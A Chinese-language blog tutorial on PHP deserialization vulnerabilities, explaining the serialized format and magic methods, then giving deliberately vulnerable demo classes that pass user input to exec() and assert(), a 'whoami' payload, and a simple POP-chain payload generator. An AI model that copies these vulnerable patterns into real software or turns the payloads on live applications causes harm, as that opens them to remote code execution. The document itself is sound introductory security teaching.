avatar

目录
反序列化的入门探索

反序列化的入门学习探索

前言

​ 反序列化漏洞可谓是大名鼎鼎了,关于各种web组件的反序列化漏洞也是层出不穷,php,java,python等都有反序列的问题,那么反序列化到底是怎么一回事呢?又应该如何利用呢,本文作为一个对于反序列化实践较少的小白,来做一个简单的尝试以及探索,经过了一些了解,我也发现了一个问题,就是目前php最近出的反序列化问题比较少,近年来主要还是Java多,weblogic,fastjson反序列化层出不穷,看样子还是java web开发主流啊,这些后面还有待深入的研究。

1 什么是反序列化

​ 要说起这个概念,我们就要聊一聊什么叫序列化了。为了方便数据传输与对于数据的处理,许多语言,比如Java就会把这些对象进行序列化,转化为字节流。反序列化呢,顾名思义就是将这些字节流还原为原来的东西,那么这里就又出现了一个问题了,对于一些用户的输入,如果程序进行了序列化反序列化处理,这里就存在网络安全我们最注重的一个原则,任何情况下不要相信用户的输入,这里用户可以精心构造一些代码,从而达到其目的,在还原为反序列化的过程中,这些代码就会被执行。

​ 其实呢说白了,我们举一个通俗易懂的例子。比如说,我在网上买了一辆自行车,但是你给我发货直接发一辆车太麻烦,卖家呢就给我把自行车给拆了拆成很多的零件邮寄给我。这就是序列化。然后呢,我收到了自行车之后,我进行组装,把他还原成一辆自行车,这就是反序列化。在这个过程中呢,比如说自行车的生产商比较黑心(我们把这个理解为一个产生这个产品的人,即用户的输入),把好的零件换了一些劣质的,一用就坏,然后我反序列化结束后用这辆车的时候,刚骑出去两部,车轱辘就给飞了。这其实就可以理解为反序列化的危害的一个简单的过程。

image-20210415161956683

​ 这是一个简单的图解,其实说归说,原理很简单,很容易,接下来呢,我们就来实践一下,目前而言,这些漏洞基本出现在一些比较流行的框架当中,所以说危害还是蛮大的,对于其代码审计,我们也要熟知可能造成危害的函数。

​ 接下来我们以PHP为例子来说一下简单的反序列化。

2 PHP反序列化的简单尝试

​ 当然了,我们说学习漏洞就得写出来个漏洞自己先看看吗

php
1
2
string serialize ( mixed $value )   #PHP的序列化函数
mixed unserialize ( string $str ) #PHP的反序列化函数

我们现在先来看一看序列化的代码

php
1
2
3
4
5
6
7
8
9
10
11
12
<?php

class Test{
var $t1 = "A";
var $t2 = "B";
}

$a = new Test(); //建立一个对象
$b = serialize($a); //对于对象进行反序列化输出
print_r($b);

?>

image-20210415173938993

我们得到了序列化的结果。对于这些什么O啊,数字啊,什么意思这里是他的一些解释

a - array 数组 b - boolean布尔型 d - double双精度型 i - integer o - common object一般对象 r - reference s - string C - custom object 自定义对象 O - class N - null R - pointer reference U - unicode string unicode编码的字符串

我们输的的内容的意思是 自定义对象O 长度4 名字叫Test 里面的内容 字符类型类型 名字的长度为2 t1 然后变量类型字符 长度为1 内容为A 以此类推

我们在来看一下反序列化

php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class Test{
var $t1 = "A";
var $t2 = "B";
}

$a = new Test();
$b = serialize($a);
print_r($b);
$c= unserialize($b);
echo PHP_EOL;
print_r($c);
?>

这里我们输出了反序列化的结果。

image-20210415174228688

那么要怎么利用呢?

​ 我们就要说一下一些PHP的魔术方法了,学过Python的朋友们也应该知道,是一系列内置的特殊方法多以_开头。我们常说的构造函数(对象被创建时运行),析构函数(对象被销毁时运行)的方法也是魔术方法。

php
1
2
3
4
5
6
7
8
9
10
11
//常用魔术方法

__construct()://构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

__destruct()://析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用。

__wakeup()://调用unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法。该方法用于分配资源

__toString()://用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。

__sleep()://用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用。

​ 我们看这些方法都是出发在一个对象创建或者销毁的时候,在对对象进行序列化与反序列化的过程中,就是对象创建销毁的一个过程,所以可以触发,能够利用这些魔术方法,触发我们的恶意代码。

接下来是我们简单的一个存在PHP反序列化的漏洞代码

php
1
2
3
4
5
6
7
8
9
10
<?php
class A{
var $test = "phpinfo()";
function __destruct(){
echo exec($this->test);
}
}

$test = $_GET['test'];
$t = unserialize($test); // 反序列化同时触发_destruct函数

在这里我们构造payload

O:1:”A”:1:{s:4:”test”;s:6:”whoami”;}

image-20210415191411045

浏览器输入,成功执行!

3 对于反序列化漏洞的一些思考(POP链的简单实践)

​ 既然我们学习了反序列化那么我们以后肯定要应用到实战里面去,那么对于反序列化漏洞的挖掘以及反序列化漏洞我们应该防范那应该有何注意的呢。通过剖析反序列化漏洞的原理我们知道,产生于用户的输入,在对于用户的输入在应用中进行序列与反序列化时出触发了魔术方法,进而导致了漏洞的产生。对此构造序列化的payload是十分重要的,但是这里又产生了以个问题,数据的格式我们很难猜测,一般我们只能通过代码审计等找到这些漏洞。但是呢,传统的web应用不管是框架还是一些程序,当然不可能跟本文中的例子一样,直接给你弄出来了,这么简单的漏洞代码,都需要我们进行深入的跟进,对于一个输入,跟踪这个输入,一步一步的看应用如何处理该输入,从而构造特定的payload进而实现利用。这一个传递过程我们称之为pop链。

用户可控反序列化→魔术方法→魔术方法中调用的其他函数→同名函数或通过传递可调用的函数→敏感操作

此处我们举一个简单的POP链例子

php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class t1{
var $test1;
function __construct(){
$this->test1 = new t2();
}
function __destruct(){
$this->test1->demo();
}
}

class t2{
function demo(){
echo "这里可没有问题哦!";
}

}

class t3{
var $test2;
function demo(){
assert($this->test2);
}
}

$a = new t1();
unserialize($_GET["payload"]);

?>

以上代码是我们简单举例的一个POP链的简单利用。

​ 首先分析一下思路,我们先抛开类不谈,先看看我们可控的参数,这个例子中payload使我们可控的。然后这个参数被带到反序列化对象里面可以利用,前面已经产生了t1的一个对象,我们可以对t1进行反序列化利用。

​ 转到t1中我们发现有两个魔术方法,一个构造函数,当产生t1时也同时创建一个t2。在销毁t1的时候,我们在执行本来应该正常执行的t2里面的demo函数。

image-20210416180542257

​ 这时候呢一个坏家伙审计代码,发现了一个问题 t3里面也有一个叫demo的函数,而且里面还有危险的assert函数,可以执行代码。这时候,我们就可以经过特殊的构造从而执行t3里面的demo函数。那么我们可不可以这样构造呢,我们这时候呢修改t1中构造方法时候创建的t2类,我们用一个t3类的内容替换t2类,从而在触发t1的析构函数的时候,执行的是t3中的demo而不是t2的。

image-20210416181321537

接下来使我们的payload生成,我们这里输出phpinfo

php
1
2
3
4
5
6
7
8
9
10
11
12
<?php
class t1{
var $test1;
function __construct(){
$this->test1 = new t3();
}
}
class t3{
var $test2 ="phpinfo()";
}
echo serialize(new t1());
?>

image-20210416181504192

带入其中

image-20210416181522226

执行成功,成功弹出phpinfo()

文章作者: 青花@Blue_And_White
文章链接: https://www.evil-qinghua.me/2021/04/14/反序列化的简单入门学习/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 青花@Blue_And_White
打赏
  • 微信
    微信
  • 支付寶
    支付寶

评论